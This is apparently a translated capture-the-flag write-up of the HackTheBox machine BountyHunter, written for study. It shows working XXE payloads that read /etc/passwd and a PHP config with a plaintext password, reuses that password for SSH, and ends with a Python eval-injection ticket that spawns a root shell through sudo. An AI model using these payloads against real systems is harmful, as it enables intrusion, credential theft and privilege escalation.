All Articles

HackTheBox Writeup: BountyHunter (Easy/Linux)

This page has been machine-translated from the original page.

I am studying security using “Hack The Box,” a penetration testing learning platform. My Hack The Box rank at the time of writing is ProHacker.

Hack The Box

This is a writeup for the retired HackTheBox machine “BountyHunter.”

image-11.png

About This Article

The content of this article is not intended to promote acts that violate social order.

Please be aware in advance that attempting to attack environments other than your own or environments for which you have permission may violate the “Act on Prohibition of Unauthorized Computer Access” (Unauthorized Access Prohibition Act).

All opinions expressed are my own and do not represent those of any organization I belong to.

Table of Contents

XXE (XML External Entity)

Before going through the flag-capturing procedure, let me summarize the XXE technique used first.

XXE stands for XML External Entity, and is a vulnerability that exploits external entity references in XML.

By abusing XXE, an attacker can retrieve files from the server, gather information, and perform SSRF attacks, among other things.

Reference: XXE Attack Basics | MBSD Blog

Reference: XML External Entity (XXE) Processing | OWASP

Reference: The Web Application Hacker’s Handbook (2nd edition)

DTD

DTD stands for Document Type Definition and is used to define the schema of an XML document structure.

Using <!ENTITY, you can call entity references to perform string substitution or embed the contents of external files.

Reference: XML Glossary [DTD (Document Type Definition)]

Reference: Document Type Definition - Wikipedia

Enumeration

First, I run nmap.

Starting Nmap 7.92 ( https://nmap.org ) at 2021-11-25 18:26 JST
Nmap scan report for $RHOST (10.10.11.100)
Host is up (0.54s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 d4:4c:f5:79:9a:79:a3:b0:f1:66:25:52:c9:53:1f:e1 (RSA)
|   256 a2:1e:67:61:8d:2f:7a:37:a7:ba:3b:51:08:e8:89:a6 (ECDSA)
|_  256 a5:75:16:d9:69:58:50:4a:14:11:7a:42:c1:b6:23:44 (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Bounty Hunters
|_http-server-header: Apache/2.4.41 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 178.60 seconds

Port 80 is open, so I access the web interface and find the following form:

image-12.png

I also run feroxbuster to scan for directories.

The backend appears to be PHP, so I specify PHP in the options.

feroxbuster -u http://$RHOST/ -x php -w /usr/share/wordlists/raft-medium-directories.txt --no-recursion | tee feroxbuster.txt

301        9l       28w      313c http://$RHOST/js
301        9l       28w      314c http://$RHOST/css
301        9l       28w      317c http://$RHOST/assets
200        0l        0w        0c http://$RHOST/db.php
301        9l       28w      320c http://$RHOST/resources
200      388l     1470w        0c http://$RHOST/index.php
200        5l       15w      125c http://$RHOST/portal.php

Looking at the form’s script, it constructs an XML string from each input value, Base64-encodes it, and POST-submits it to /tracker_diRbPr00f314.php. (The string that’s actually sent seems to be further transformed from the Base64, though I couldn’t fully understand where or how.)

function returnSecret(data) {
return Promise.resolve($.ajax({
            type: "POST",
            data: {"data":data},
            url: "tracker_diRbPr00f314.php"
            }));
}

async function bountySubmit() {
try {
var xml = `<?xml  version="1.0" encoding="ISO-8859-1"?>
<bugreport>
<title>${$('#exploitTitle').val()}</title>
<cwe>${$('#cwe').val()}</cwe>
<cvss>${$('#cvss').val()}</cvss>
<reward>${$('#reward').val()}</reward>
</bugreport>`
let data = await returnSecret(btoa(xml));
  $("#return").html(data)
}
catch(error) {
console.log('Error:', error);
}
}

XXE looks applicable here, so I’ll try various approaches next.

Exploiting XXE

I modify the script in the browser console as follows and submit the form.

async function bountySubmit() {
try {
var xml = `<?xml  version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">] > 
<bugreport>
<title>&xxe;</title>
<cwe>${$('#cwe').val()}</cwe>
<cvss>${$('#cvss').val()}</cvss>
<reward>${$('#reward').val()}</reward>
</bugreport>`
let data = await returnSecret(btoa(xml));
  $("#return").html(data)
}
catch(error) {
console.log('Error:', error);
}
}

This returns the Base64-encoded passwd in the title element.

Looking at the regular user names, I found development, so I tried the following XXE payloads to retrieve the user flag or SSH private key — but unfortunately they all failed.

<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/home/development/user.txt">] >
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/home/development/Desktop/user.txt">] >
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/home/development/.ssh/id_rsa">] >

So I decided to retrieve other files running on the server.

From the earlier feroxbuster results, db.php looked suspicious.

# <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=db.php">]

<?php
// TODO -> Implement login system with the database.
$dbserver = "localhost";
$dbname = "bounty";
$dbusername = "admin";
$dbpassword = "m19RoAU0hP41A1sTsq6K";
$testuser = "test";

This is what was actually retrieved.

Database credentials are hardcoded in plaintext.

I couldn’t find a database access endpoint, so I wasn’t sure what to do next — but I tried using the password for SSH as a last resort, and it worked! I obtained the user flag.

ssh development@$RHOST
# m19RoAU0hP41A1sTsq6K

Next, I’ll go for root.

Privilege Escalation

From here, I perform privilege escalation.

I ran linpeas to gather useful information.

#
 Operative system
 https://book.hacktricks.xyz/linux-unix/privilege-escalation#kernel-exploits
Linux version 5.4.0-80-generic (buildd@lcy01-amd64-030) (gcc version 9.3.0 (Ubuntu 9.3.0-17ubuntu1~20.04)) #90-Ubuntu SMP Fri Jul 9 22:49:44 UTC 2021
Distributor ID: Ubuntu
Description:    Ubuntu 20.04.2 LTS
Release:        20.04
Codename:       focal

#
 Sudo version
 https://book.hacktricks.xyz/linux-unix/privilege-escalation#sudo-version
Sudo version 1.8.31

Possible Exploits:
[+] [CVE-2021-3156] sudo Baron Samedit

   Details: https://www.qualys.com/2021/01/26/cve-2021-3156/baron-samedit-heap-based-overflow-sudo.txt
   Exposure: probable
   Tags: mint=19,[ ubuntu=18|20 ], debian=10
   Download URL: https://codeload.github.com/blasty/CVE-2021-3156/zip/main

[+] [CVE-2021-3156] sudo Baron Samedit 2

   Details: https://www.qualys.com/2021/01/26/cve-2021-3156/baron-samedit-heap-based-overflow-sudo.txt
   Exposure: probable
   Tags: centos=6|7|8,[ ubuntu=14|16|17|18|19|20 ], debian=9|10
   Download URL: https://codeload.github.com/worawit/CVE-2021-3156/zip/main

[+] [CVE-2021-22555] Netfilter heap out-of-bounds write

   Details: https://google.github.io/security-research/pocs/linux/cve-2021-22555/writeup.html
   Exposure: probable
   Tags: [ ubuntu=20.04 ]{kernel:5.8.0-*}
   Download URL: https://raw.githubusercontent.com/google/security-research/master/pocs/linux/cve-2021-22555/exploit.c
   ext-url: https://raw.githubusercontent.com/bcoles/kernel-exploits/master/CVE-2021-22555/exploit.c
   Comments: ip_tables kernel module must be loaded

[+] [CVE-2017-5618] setuid screen v4.5.0 LPE

   Details: https://seclists.org/oss-sec/2017/q1/184
   Exposure: less probable
   Download URL: https://www.exploit-db.com/download/https://www.exploit-db.com/exploits/41154

sudo -l
Matching Defaults entries for development on bountyhunter:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User development may run the following commands on bountyhunter:
    (root) NOPASSWD: /usr/bin/python3.8 /opt/skytrain_inc/ticketValidator.py

There are several potential vulnerabilities, but I was interested in ticketValidator.py, which can be run with sudo without a password.

ticketValidator.py

Here is the script:

#Skytrain Inc Ticket Validation System 0.1
#Do not distribute this file.

def load_file(loc):
    if loc.endswith(".md"):
        return open(loc, 'r')
    else:
        print("Wrong file type.")
        exit()

def evaluate(ticketFile):
    #Evaluates a ticket to check for ireggularities.
    code_line = None
    for i,x in enumerate(ticketFile.readlines()):
        if i == 0:
            if not x.startswith("# Skytrain Inc"):
                return False
            continue
        if i == 1:
            if not x.startswith("## Ticket to "):
                return False
            print(f"Destination: {' '.join(x.strip().split(' ')[3:])}")
            continue

        if x.startswith("__Ticket Code:__"):
            code_line = i+1
            continue

        if code_line and i == code_line:
            if not x.startswith("**"):
                return False
            ticketCode = x.replace("**", "").split("+")[0]
            if int(ticketCode) % 7 == 4:
                validationNumber = eval(x.replace("**", ""))
                if validationNumber > 100:
                    return True
                else:
                    return False
    return False

def main():
    fileName = input("Please enter the path to the ticket file.\n")
    ticket = load_file(fileName)
    #DEBUG print(ticket)
    result = evaluate(ticket)
    if (result):
        print("Valid ticket.")
    else:
        print("Invalid ticket.")
    ticket.close

main()

This appears to be a script that accepts a file in a specific format as input and parses it.

Exploring the system, I found the ticket format:

#cat /opt/skytrain_inc/invalid_tickets/390681613.md

# Skytrain Inc
## Ticket to New Haven
__Ticket Code:__
**31+410+86**
##Issued: 2021/04/06
#End Ticket

Here, eval is called when the first number (split by +) on the line after __Ticket Code:__ has a mod-7 result equal to 4.

This means the part **31+410+86** becomes the argument to eval, so I can embed a command to spawn a shell inside it.

For a reference on calling a shell from eval, this Stack Overflow post was helpful:

Reference: Python - running reverse shell inside eval() - Stack Overflow

So I created the following file:

#cat mal.md

# Skytrain Inc
## Ticket to New Haven
__Ticket Code:__
**11+100 != 0 and __import__('os').system('/bin/bash') == False**
##Issued: 2021/04/06
#End Ticket

Running ticketValidator.py with sudo and passing this file spawns a root shell.

Summary

True to the machine name, the process of finding bugs yourself to obtain root was quite enjoyable.